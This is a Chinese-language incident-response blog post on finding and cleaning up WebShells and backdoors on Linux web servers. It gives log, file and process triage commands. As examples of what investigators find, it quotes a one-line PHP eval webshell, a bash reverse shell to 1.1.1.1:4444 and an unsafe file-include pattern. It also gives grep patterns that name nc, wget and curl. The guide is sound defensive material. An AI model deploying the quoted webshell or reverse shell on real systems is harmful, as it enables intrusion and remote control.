干应急响应这些年,处理过无数起网站被挂马、被传后门的案子。发现很多运维或者初级安全兄弟,一看到告警说“发现WebShell”,第一反应就是:赶紧登录服务器,把那个可疑的 .php 或 .jsp 文件 rm -rf 删了,然后松一口气。
停!打住!这么干大概率会给自己挖大坑,甚至让攻击者在你眼皮底下把核心数据拖光。
今天咱们不扯虚的,直接从一线实战视角,把WebShell和后门应急处置的完整流程扒个底朝天。
开篇立规矩:处置WebShell的“四不要”与总原则
接到WebShell告警或发现网站异常,先在心里默念这四条铁律,严禁执行以下操作:
处置总原则(刻在脑子里):
“先隔离取证,再查杀清除;先溯源路径,再封堵加固。”
正确开局:第一件事是确认是否真的被入侵
别一看到告警就慌,先搞清楚现在的局面。
第一步:确认告警来源与初步定性。 是WAF/主机安全报的毒?是流量分析发现异常POST?还是自己巡检扫出来的?
第二步:摸清Web服务架构。 是PHP、Java、Python还是Go?用的什么框架(Spring、ThinkPHP)?Web根目录在哪?
第三步:按三层往下收敛。
- 请求入口:攻击者从哪个URL进来的?
- 文件落盘:后门文件藏在哪个目录?
- 执行行为:后门运行后干了什么(外连、读文件、提权)?
第四步:明确区分三类情况。
- 确认后门(高危):实锤的脚本木马或内存马。立即隔离。
- 可疑文件(中危):代码写得烂或者用了冷门框架,被安全软件误报。需要人工研判。
- 误报(低危):正常的业务代码(如包含 eval 的加密解密模块)。加白名单。
排查主链路:可复制的命令与操作
排查必须形成证据链。以下是标准动作(以Linux为例),命令可直接复制。
1. 查Web访问日志找异常上传与访问
操作:在Nginx/Apache/Tomcat日志里找蛛丝马迹。
# 找最近的POST请求(上传后门通常是POST)
grep "POST" /var/log/nginx/access.log | tail -n 50
# 找访问异常后缀或隐藏文件的请求
grep -E "\\.(php|jsp|asp|aspx|sh)\\?" /var/log/nginx/access.log | grep -v "index"
# 找带有特殊参数(如eval、cmd、exec)的GET请求
grep -iE "cmd=|exec=|eval=|shell=" /var/log/nginx/access.log
现象与问题:发现某个IP在凌晨2点向 /upload/avatar.php 发了一个几百KB的POST请求,随后立刻访问了 /upload/shell.jsp。实锤上传并访问了后门。
2. 找Web目录下可疑文件
操作:按时间、按特征排查。
# 找最近3天内修改过的Web文件
find /var/www/html -mtime -3 -type f -name "*.php" -o -name "*.jsp"
# 找Web目录下的隐藏文件(攻击者喜欢用 .xxx.php)
find /var/www/html -name ".*" -type f
# 找包含一句话木马特征的脚本
find /var/www/html -type f -name "*.php" -exec grep -l "eval(\\$_POST" {} +
现象与问题:发现一个 .config.php 隐藏文件,修改时间是昨天凌晨,且包含 eval 函数。
3. 查进程与网络连接
操作:看后门是不是正在被调用,有没有往外连。
# 查所有ESTABLISHED连接,看有没有连外网可疑IP
netstat -antp | grep ESTABLISHED
# 查Web服务(如php-fpm, java, tomcat)衍生的异常子进程
ps -ef | grep -E "bash|sh|nc|wget|curl" | grep -v grep
现象与问题:发现 java 进程下挂了一个 bash -i >& /dev/tcp/1.1.1.1/4444 0>&1。[生产环境风险:实锤反弹Shell!先别杀进程,抓包留存!]
4. 查系统层痕迹
操作:看攻击者有没有做持久化或提权。
# 查最近登录记录
last -n 20
# 查有没有被写入定时任务
cat /etc/crontab; ls -l /etc/cron.*; crontab -l
# 查有没有新增UID为0的用户
awk -F: '$3==0 {print $1}' /etc/passwd
5. 交叉验证
操作:把日志里的时间、文件修改时间、进程创建时间对齐。如果三者时间吻合,形成完美证据链,直接定性。
高频现场逐个拆
遇到具体场景,对号入座:
1. 一句话木马(动态执行特征)
- 现象:文件极小(几十字节),内容如 <?php @eval($_POST['cmd']);?>。
- 命令:cat /var/www/html/cmd.php
- 处理:备份取证后删除。在WAF上添加规则,拦截带有 eval($_POST 特征的请求。
2. 加密混淆WebShell(冰蝎/哥斯拉/蚁剑)
- 现象:代码全是 base64、gzinflate、rot13,或者请求流量是加密的(如冰蝎的AES/RSA)。
- 命令:strings /var/www/html/shell.php | grep -i "base64"
- 处理:不要试图人肉解码。直接提取文件Hash丢微步/VirusTotal查;如果是冰蝎/哥斯拉,重点查杀内存马或直接在WAF拦截特定的加密流量特征(如固定的User-Agent或Content-Type)。
3. 内存马(框架内存型后门)
- 现象:Web目录里干干净净,但网站一直有异常外连或执行命令。重启服务后异常消失,运行一段时间又出现。
- 命令:# Java应用,导出线程栈看异常线程
jstack <pid> > jstack.log
grep -i "filter\\|servlet\\|listener" jstack.log - 处理:[生产环境风险:内存马重启可清,但会丢证据!] 先用 arthas 的 sc/jad 命令或者河马Webshell查杀工具定位内存马类名;确认后再重启Web服务清除,并排查是哪个漏洞(如Shiro、Fastjson)注入的。
4. 图片马/伪装文件
- 现象:文件后缀是 .jpg 或 .png,但大小异常,或者被配合文件包含漏洞使用。
- 命令:file /var/www/html/img.jpg (如果输出包含 PHP script 就是图片马)。
- 处理:删除文件。排查Web代码,看有没有 include($_GET['file']) 这种本地文件包含漏洞。
5. WebShell被用来提权或反弹shell
- 现象:Web进程权限突然变高,或者出现了 nc、bash -i 进程。
- 命令:ps -ef | grep "bash -i"
- 处理:在防火墙上阻断该服务器对外的主动连接(只允许特定IP出站);排查内核漏洞或Sudo提权配置。
6. 多个后门连环(主后门+备用后门)
- 现象:删了一个,过几天又冒出来。
- 处理:不要只删告警的那个文件。用 find 把整个Web目录按时间排序,把攻击者入侵时间段内新增/修改的文件全部拉出来挨个审查。
7. 攻击者清理日志痕迹
- 现象:Web访问日志在某个时间点突然中断,或者 history 命令被清空。
- 命令:ls -l /var/log/nginx/access.log (看文件大小是否突然变小)。
- 处理:日志被 echo "" > 截断或 rm 删除。去查云厂商的底层日志(如阿里云SLS、腾讯云CLB日志),或者查系统层的 audit.log 还原操作。
恢复与处置:分场景给策略
处置分三档:隔离(断外联) → 清除(删文件/重启清内存马) → 恢复(还原被篡改文件)。
- 什么情况先保业务?
如果是核心交易链路,不能直接断网。策略:在WAF/负载均衡层直接封禁攻击者IP,或者开启WAF的“虚拟补丁”模式拦截恶意请求,业务继续跑,后台慢慢清。 - 什么情况先断网?
发现已经反弹Shell,或者正在往外拖库。[生产环境风险:别犹豫,直接在安全组/防火墙切断该服务器的外网出站权限!] 保留内网访问,方便排查。 - 清除后必须验证:
删完文件、杀完进程后,用河马、D盾等工具再全盘扫一遍;观察24小时,看WAF还有没有同类告警。 - 处置全程留档:
截图、导出日志、备份恶意文件(打包加密存证)。写报告时全靠这些。
根因分析:别全怪黑客技术牛
WebShell能传进来,根因往往是代码或配置有漏洞:
如何用日志定责(形成证据链):
- 用Web访问日志证明:攻击者在X时X分通过Y接口上传了文件。
- 用文件修改时间证明:Z文件确实在那个时间点被创建。
- 用进程/网络日志证明:该文件运行后发起了外连。
把这三段拼在一起,证明是外部攻击者利用某漏洞入侵,不是内部员工监守自盗。
事后加固要点
擦完屁股得防病:
总结:处置过程中高频踩坑
最后,回顾一下大家最容易踩的7个坑,有则改之:
处理WebShell是个拼眼力和耐心的活,代码和日志里藏着所有的魔鬼。别把安全做成简单的“删文件”,要把每一次入侵都当成一次给系统打补丁、做加固的契机。
如果你觉得这篇实战复盘对你有帮助,别忘了点赞、收藏、关注一键三连!你在处理WebShell或网站后门时还遇到过什么奇葩事或者坑?欢迎在评论区留言交流,咱们一起排雷!






